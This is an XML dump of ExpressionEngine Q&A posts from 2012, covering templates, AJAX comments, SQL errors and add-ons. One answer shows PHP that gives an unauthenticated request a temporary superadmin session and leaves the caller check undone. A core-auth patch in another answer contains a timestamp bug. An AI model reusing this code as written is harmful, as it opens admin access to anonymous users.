  <row Id="1377" PostTypeId="1" AcceptedAnswerId="1416" CreationDate="2012-12-10T05:18:05.243" Score="4" ViewCount="108" Body="&lt;p&gt;Within a category group, I've got about 10 categories that don't need to be seen by anyone but myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had realised this while planning the site, I would have created them in a separate category group to keep them slightly isolated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my content admins would still be able to see it. How can this be addressed? (It would be cool if category groups were also available within publish layouts to hide/show!)&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-11T01:38:11.180" Title="Hiding specific categories from the publish tab" Tags="|categories|publish-layout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostTypeId="1" AcceptedAnswerId="1404" CreationDate="2012-12-10T05:50:40.903" Score="2" ViewCount="1480" Body="&lt;p&gt;I am attempting to create a &quot;Leave Comment&quot; form which is loaded by AJAX on demand and then shown using a jQuery popup. There are three motivations for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Less clutter on page.&lt;/li&gt;&#xA;&lt;li&gt;Reduced automated spam.&lt;/li&gt;&#xA;&lt;li&gt;Faster page load time (with caching enabled the page load time goes from 400ms to 120ms when the comment form is not included in the article template).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is what I have currently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x96IC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created the following template which is called &lt;code&gt;ajax/blog-comment-form&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;blog&quot; entry_id=&quot;{segment_3}&quot;}&#xA;{if logged_out}&#xA;    &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;70&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;70&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label for=&quot;url&quot;&amp;gt;URL:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; size=&quot;70&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;{/if}&#xA;&#xA;    &amp;lt;label class=&quot;outline&quot; for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;7&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;div class=&quot;comment-note&quot;&amp;gt;Note: HTML tags are not supported.&amp;lt;/div&amp;gt;&#xA;&#xA;{if captcha}&#xA;    &amp;lt;div class=&quot;captcha&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&#xA;        {captcha} &amp;lt;input id=&quot;captcha&quot; type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;    &amp;lt;div class=&quot;button-strip&quot;&amp;gt;&#xA;        &amp;lt;input class=&quot;ui-pink-button&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am currently using the following JavaScript to submit the form via AJAX. This is almost working except there is no way to display error messages when inputs are entered incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form.find('input[name=&quot;submit&quot;]').click(function() {&#xA;    $.ajax({&#xA;        type: 'POST',&#xA;        url: form.attr('action'),&#xA;        data: form.serialize(),&#xA;        success: function(data) {&#xA;            // ???&#xA;        },&#xA;        failed: function(data) {&#xA;            // ???&#xA;            // this never seems to actually occur&#xA;        }&#xA;    });&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastEditorUserId="536" LastEditDate="2012-12-10T16:55:49.873" LastActivityDate="2012-12-12T16:44:56.147" Title="How to create front end AJAX handler which validates and adds comment to content?" Tags="|templates|ajax|comment-form|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1379" PostTypeId="2" ParentId="1363" CreationDate="2012-12-10T07:53:15.120" Score="8" Body="&lt;p&gt;I've done this by securing the ACT id with a token of sorts, then before calling the API to import the data - I simply create a temporary user session for a superadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function login_temporary_user()&#xA;{&#xA;    if( $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['member_id'] == 0) &#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session(1, TRUE);&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['group_id']  = 1;&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['can_edit_other_entries'] = 'y';&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['can_assign_post_authors'] = 'y';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can just call it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;login_temporary_user();&#xA;...&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give your script the privelages it needs to perform insertions and updates if you require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could/should of course add additional security in your module to make sure the ACT is being triggered by a trusted source, but will leave that to you to work out. The session variables above should be enough to get you going.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2012-12-10T07:53:15.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostTypeId="2" ParentId="1363" CreationDate="2012-12-10T07:59:24.703" Score="2" Body="&lt;p&gt;Have you considered using DataGrab for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/details/datagrab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can post and update entries via remote XML.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Import data from RSS/ATOM feeds, CSV files and XML files. Other&#xA;  datatypes can be added.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Imports can be saved and re-run&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Entries can be updated if the source data changes — keep data&#xA;  synchronized&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And there is a setting to delete as well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Delete old entries&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you check this, DataGrab will delete any entries in the channel&#xA;  that have not been added or updated by this import. This can be useful&#xA;  for maintaining an up-to-date product list, for example, but must be&#xA;  used with care.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can set saved imports to run via a template and or cron:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/support/details/running_imports_periodically_using_cron&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/support/details/running_imports_periodically_using_cron&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-10T07:59:24.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1381" PostTypeId="2" ParentId="1363" CreationDate="2012-12-10T09:31:26.990" Score="3" Body="&lt;p&gt;For an example of an existing approach to this you might want to take a look at how the &lt;a href=&quot;http://devot-ee.com/add-ons/entry-api&quot; rel=&quot;nofollow&quot;&gt;Entry API&lt;/a&gt; module ($) handles this. This addon essentially provides CRUD api for channel entries via REST/XML-RPC (it also supports SOAP too if you happen to really hate yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does &lt;a href=&quot;http://reinos.nl/add-ons/entry-api/docs#Creating_Members_for_the_API&quot; rel=&quot;nofollow&quot;&gt;use a member&lt;/a&gt; (which I's argue is a good thing, as you can then hook into the native permissions to restrict access to just the channels you need) &amp;amp; I'm not certain how it handles authentication, but for $45 it might well provide a leg up to get you to where you need to go.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="22" LastEditDate="2012-12-11T04:17:01.057" LastActivityDate="2012-12-11T04:17:01.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostTypeId="2" ParentId="1372" CreationDate="2012-12-10T10:58:05.597" Score="1" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://github.com/CartThrob/addon-mailing_list/blob/master/cartthrob_mailing_list/ext.cartthrob_mailing_list.php#L114&quot; rel=&quot;nofollow&quot;&gt;around line 114 of the source of the CT Mailing list &lt;/a&gt; extension, it looks like the addon adds the content of the &lt;code&gt;['campaign_monitor']&lt;/code&gt; key of &lt;code&gt;$this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('custom_data')&lt;/code&gt; as part of the request to CampaignMonitor. The contents of this can be either a String or an Array, which suggests it's designed to permit multiple values to be sent to CM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Quick aside:&lt;/strong&gt; I find the &lt;a href=&quot;http://cartthrob.com/docs/tutorials/adding_custom_data_to_purchased_items_and_orders/index.html&quot; rel=&quot;nofollow&quot;&gt;CT docs&lt;/a&gt; are a little confusing as the suggest that when adding custom data to &lt;strong&gt;orders&lt;/strong&gt; you can just use your custom field name name in your template rather than as &lt;code&gt;custom_data['field_name']&lt;/code&gt; the way you would for custom data on the save member form (though your custom field does need to exist in the back end for data to be saved). However looking at the source (Carttrob_core_ee.php, ~ line 548) I don't think you'd then still able to access these values via &lt;code&gt;$this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('custom_data')&lt;/code&gt;. I could be wrong though.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had a chance to test that I've got the syntax right, but it looks to me like all you may need to do is add the &lt;a href=&quot;http://cartthrob.com/docs/tutorials/adding_custom_data_to_purchased_items_and_orders/index.html#adding-data-to-orders&quot; rel=&quot;nofollow&quot;&gt;relevant fields to your order via the checkout form&lt;/a&gt;, namespacing your values under &lt;code&gt;campaign_monitor[]&lt;/code&gt; (assuming you want to pass multiple values), so I &lt;em&gt;think&lt;/em&gt; you either need&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_data[campaign_monitor][custom_value_1]&quot; value=&quot;{my_value_1}&quot; /&amp;gt; &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_data[campaign_monitor][custom_value_2]&quot; value=&quot;{my_value_1} /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or perhaps (but less likely):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;campaign_monitor[custom_value_1]&quot; value=&quot;{my_value_1}&quot; /&amp;gt; &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;campaign_monitor[custom_value_2]&quot; value=&quot;{my_value_1} /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then set whatever data you need to send through to Campaign Monitor in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your data to send to CM always comes from the customer, you could probably also add the data via a simple custom extension using the &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/index.html#cartthrob_save_customer_info_end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;cartthrob_save_customer_info_end&lt;/code&gt;&lt;/a&gt; hook, but I'd probably start by just outputting the values in the template (or reading them from other user inputed fields on the fly with JavaScript) as it's probably faster to try out.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-10T10:58:05.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1383" PostTypeId="1" AcceptedAnswerId="1405" CreationDate="2012-12-10T11:57:45.670" Score="1" ViewCount="310" Body="&lt;p&gt;I'm having problems getting Mailchimp Subscribe working when used in conjunction with Profile:Edit registrations or Cartthrob Checkout. Does anyone know if there are known conflicts with these Extensions/Modules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v2.5.2&#xA;Cartthrob 2.2.2&#xA;Profile:Edit 1.0.7&#xA;Mailchimp Subscribe 2.1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I've set a custom member field (member_subscribe). In mailchimp subscribe settings this is set as the trigger field and the trigger is 'Yes'. Once member has registered the trigger field is shown as Yes but when I login to Mailchimp there are no subscriptions registering under lists. &lt;/p&gt;&#xA;" OwnerUserId="302" LastEditorUserId="302" LastEditDate="2012-12-11T19:49:44.403" LastActivityDate="2014-05-09T08:47:57.890" Title="Mailchimp Subscribe with Profile:Edit / Cartthrob" Tags="|members|cartthrob|email|extension|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostTypeId="1" AcceptedAnswerId="1438" CreationDate="2012-12-10T13:16:16.020" Score="5" ViewCount="518" Body="&lt;p&gt;I'm receiving a MYSQL Error on this code in ExpressionEngine 1.6.4 (very old version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query  limit=&quot;10&quot; paginate=&quot;bottom&quot;&#xA;    sql=&quot;SELECT 'gallery' AS `content_type`, `cat_id` AS `entry_id`, `recent_entry_date` AS `entry_date`&#xA;        FROM `exp_gallery_categories`&#xA;        WHERE `gallery_id` = 9 AND total_files &amp;gt; 0&#xA;        UNION&#xA;        SELECT 'video' AS `content_type`, `entry_id`, `entry_date`&#xA;        FROM `exp_weblog_titles`&#xA;        WHERE `weblog_id` = 6 ORDER BY `entry_date` DESC&quot;&#xA;&#xA;}&#xA;&amp;lt;p&amp;gt;{content_type} - {entry_id} - {entry_date format=&quot;%d %F %Y&quot;}&amp;lt;/p&amp;gt;&#xA;{paginate}{pagination_links}{/paginate}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MySQL returns this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MySQL ERROR: Error Number: 1054&#xA;Description: Unknown column 'entry_date' in 'order clause'&#xA;Query: SELECT COUNT(*) AS count FROM `exp_gallery_categories` WHERE `gallery_id` = 9 AND total_files &amp;gt; 0 UNION SELECT COUNT(*) AS count FROM `exp_weblog_titles` WHERE `weblog_id` = 6 ORDER BY `entry_date` DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like EE is modifying my query before MySQL and making it fail (On a SQL client this works smoothly).&lt;/p&gt;&#xA;" OwnerUserId="577" LastEditorUserId="28" LastEditDate="2012-12-16T06:14:09.000" LastActivityDate="2013-02-27T09:33:50.603" Title="ExpressionEngine 1 Query Module and Ordering SQL UNION" Tags="|module|ee1|mysql|query|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1385" PostTypeId="1" CreationDate="2012-12-10T15:38:02.697" Score="1" ViewCount="985" Body="&lt;p&gt;I installed vwm_secure_files and now when I try and edit ANY channel field I am getting this error and cannot do anything&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered&#xA;  Unable to locate the model you have specified: vwm_secure_files_m&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EE. 2.5.3&#xA;VWM Secure Files .3&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="55" LastEditDate="2012-12-10T16:32:28.317" LastActivityDate="2016-05-13T15:27:50.120" Title="Unable to locate the model you have specified" Tags="|add-on|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1386" PostTypeId="2" ParentId="1310" CreationDate="2012-12-10T16:26:33.587" Score="3" Body="&lt;p&gt;This is probably the closest thing we have to migrating content between servers. Unfortunately this is has always been an achilles heel of EE (and most CMSs for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckimrie/Site-Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2012-12-10T16:26:33.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostTypeId="2" ParentId="1352" CreationDate="2012-12-10T16:28:56.553" Score="2" Body="&lt;p&gt;I recommend not to use Twomile Login Redirect, we've encountered issues with it in the past, not a very good add-on.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2012-12-10T16:28:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1388" PostTypeId="2" ParentId="1384" CreationDate="2012-12-10T17:07:16.600" Score="1" Body="&lt;p&gt;Tell MySQL which entry_date you want to use. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query  limit=&quot;10&quot; paginate=&quot;bottom&quot;&#xA;    sql=&quot;SELECT 'gallery' AS `content_type`, `cat_id` AS `entry_id`, `recent_entry_date` AS `entry_date`&#xA;        FROM `exp_gallery_categories` g&#xA;        WHERE `gallery_id` = 9 AND total_files &amp;gt; 0&#xA;        UNION&#xA;        SELECT 'video' AS `content_type`, `entry_id`, `entry_date`&#xA;        FROM `exp_weblog_titles` t&#xA;        WHERE `weblog_id` = 6 ORDER BY `t.entry_date` DESC&quot;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's been awhile, but I'll assume that the gallery also has an entry_date field and you just haven't specified which field you need or want.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-10T17:07:16.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1389" PostTypeId="1" AcceptedAnswerId="11038" CreationDate="2012-12-10T17:30:52.163" Score="1" ViewCount="170" Body="&lt;p&gt;&lt;strong&gt;Instead of developing something from scratch is there any existing commerce kind of add-on that could speed up integrating FoxyCart and members?&lt;/strong&gt; There are no products, codes, categories, or anything else in my EE yet so how that gets put into EE can be completely subjective at this point, too. I haven't really touched anything asides from the Simple Commerce Module in EE 1.6.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you not familiar with &lt;a href=&quot;http://www.foxycart.com/&quot; rel=&quot;nofollow&quot;&gt;FoxyCart&lt;/a&gt; it basically does not assume anything about your e-commerce, it doesn't hold products, but it does create customers invisibly on its end (you can use their API/DataFeed to communicate from your end and/or to receive updates on their end). It keeps track of transactions and can make recurring subscriptions regardless of your merchant gateway. You provide FoxyCart with all the information based on your cart/checkout, such as products, discounts, coupons, categories, you make it all up (can be done securely so the data can be determined to not have been tinkered with) and FoxyCart will present your user with a cart, checkout, etc. It's completely open-ended so you can make your own user experience as you please.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2012-12-10T18:52:18.333" LastActivityDate="2013-06-05T21:21:40.513" Title="Commerce Add-On + FoxyCart?" Tags="|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1390" PostTypeId="1" AcceptedAnswerId="1393" CreationDate="2012-12-10T17:55:21.987" Score="3" ViewCount="1957" Body="&lt;p&gt;How would you perform a conditional on a custom checkbox field in which the user can select 0 -4 different options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I have a &quot;Checkboxes&quot; fieldtype named &quot;{side_content_selectables}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fieldtype has the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Show Search&lt;/li&gt;&#xA;&lt;li&gt;Show Feed Subscription&lt;/li&gt;&#xA;&lt;li&gt;Show Categories&lt;/li&gt;&#xA;&lt;li&gt;Show Recent Posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which would just allow them to turn widgets on or off. In my template, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;aside id=&quot;sidebar&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;side_content&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;        {if {side_content_selectables}&quot;{item}&quot; == &quot;Show Search&quot;{/side_content_selectables}}&#xA;            &amp;lt;section class=&quot;widget&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Search&amp;lt;/h3&amp;gt;&#xA;                {!-- Search Form --}&#xA;            &amp;lt;/section&amp;gt;&#xA;            &amp;lt;!-- /.widget --&amp;gt;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {if &quot;Show Feed Subscription&quot;}&#xA;            &amp;lt;section class=&quot;widget&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Subscribe&amp;lt;/h3&amp;gt;&#xA;                {!-- Feedburner Widget --}&#xA;            &amp;lt;/section&amp;gt;&#xA;            &amp;lt;!-- /.widget --&amp;gt;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither of these seem to work though. This makes me feel like a big noob, but I am stumped on this one.    ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's almost like I would need to write out a PHP script to perform a contains, but that just seems like overkill and I would like to keep PHP from being used in templates.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-05-21T16:34:57.113" Title="Checkbox Fieldtype Conditionals" Tags="|ee2|custom-fields|conditionals|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostTypeId="2" ParentId="1389" CreationDate="2012-12-10T17:56:31.130" Score="4" Body="&lt;p&gt;You could look at &lt;a href=&quot;http://www.hccdevelopment.com/Web-Based-Software/Product/foxee/&quot;&gt;FoxEE by HCC Development&lt;/a&gt; ... though they've been quiet as of late, poking around their forum it looks like they &lt;a href=&quot;http://www.hccdevelopment.com/Web-Based-Software/Support-Forums/viewthread/1173/#4547&quot;&gt;might have an update about to ship&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-10T17:56:31.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostTypeId="2" ParentId="136" CreationDate="2012-12-10T18:02:59.147" Score="2" Body="&lt;p&gt;So this may or may not solve your issue but we were having problems getting this to work for quite awhile and I decided to make my own patch to the EE core files. It only works for my instance but if you can get the general idea if should help you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remember me functionality is broken for multi site logins (so this patch will only work for that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two parts that are important for the remember_me to work. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The user needs to have the remember me cookie in their browser with the associated hashed key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user needs to have the remember_me entry in the exp_members table filled with the same hash value &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The issue with multi site login is that it gives the cookie in the first login and fills the members table with the hash value. It then redirects to do the second (or more) site logins but without the remember_me input being checked in the form (that is the bug) which causes the remember_me field in the members table to be wiped out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I believe there is a more elegant solution involving passing the hashkey generated o the first login along with the checked remember me input through to the next logins, I haven't gone that far yet. My solution will solve remember_me issues for the first site (which is all we really required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WARNING: It involves modifying core files which I have a lot of experience with. This is sort of an advanced user patch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a field to the members table, remember_me_timestamp INT(10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify the function start_session in the core Auth.php file to do a timecheck on when the remember me was filled: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $SITE_MEMBER_ID = $this-&amp;gt;member('member_id');&#xA;&#xA;    if(empty($remember))&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;UPDATE exp_members SET remember_me_timestamp = UNIX_TIMESTAMP() WHERE member_id = '$SITE_MEMBER_ID' LIMIT 1&quot;);&#xA;        // update the remember me column&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('member_id', $this-&amp;gt;member('member_id'));&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('members', array(&#xA;                'remember_me' =&amp;gt; $remember&#xA;        ));&#xA;    }&#xA;    else&#xA;    {&#xA;        //check previous remember me time&#xA;&#xA;        $SITE_remember_time_query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT remember_me_timestamp as lastRemember, UNIX_TIMESTAMP() as currentTime &#xA;        FROM exp_members WHERE member_id = '$SITE_MEMBER_ID' LIMIT 1&quot;);&#xA;&#xA;        $SITE_remember_time = $SITE_remember_time_query-&amp;gt;row('lastRemember');&#xA;        $SITE_current_time = $SITE_remember_time_query-&amp;gt;row('lastRemember');&#xA;&#xA;        $SITE_more_than_one_hour = ($SITE_current_time - 60*60) &amp;gt; $SITE_remember_time ? TRUE : FALSE; &#xA;&#xA;        //if no last remember time then just let clear the remember me field, else don't touch it&#xA;        if(empty($SITE_remember_time) || $SITE_more_than_one_hour )&#xA;        {&#xA;                // update the remember me column&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('member_id', $this-&amp;gt;member('member_id'));&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('members', array(&#xA;                    'remember_me' =&amp;gt; $remember&#xA;            ));     &#xA;&#xA;        }           &#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was the code I added to the start_session function. Replacing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('member_id', $this-&amp;gt;member('member_id'));&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('members', array(&#xA;                'remember_me' =&amp;gt; $remember&#xA;        ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is that when it does the first login, it has the remember me post data filled so it inserts the key, sets the cookie and also inserts the timestamp. On subsequent site logins (which happen consecutively in a small span of time) if the remember me post data is empty (which it will be because of the bug) then it checks the timestamp to see if an hour has past since the last remember me (really it could be like 10 seconds). If the time limit hasn't been passed then it won't blank out the remember_me field in the members table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps some people but considering the skill level usually required to edit core files, I would prefer to see ellislabs make an actual patch (they could have by now I suppose, I just don't updated because of all my custom edits). &lt;/p&gt;&#xA;" OwnerUserId="579" LastActivityDate="2012-12-10T18:02:59.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostTypeId="2" ParentId="1390" CreationDate="2012-12-10T18:14:04.837" Score="6" Body="&lt;p&gt;You're best off using the PT Checkboxes, the native ones are just too fragile for real world use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pt-field-pack&quot;&gt;http://devot-ee.com/add-ons/pt-field-pack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {side_content_selectables:selected option=&quot;show_feed&quot;}}&#xA;  &amp;lt;p&amp;gt;show the feed&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-12-10T18:14:04.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
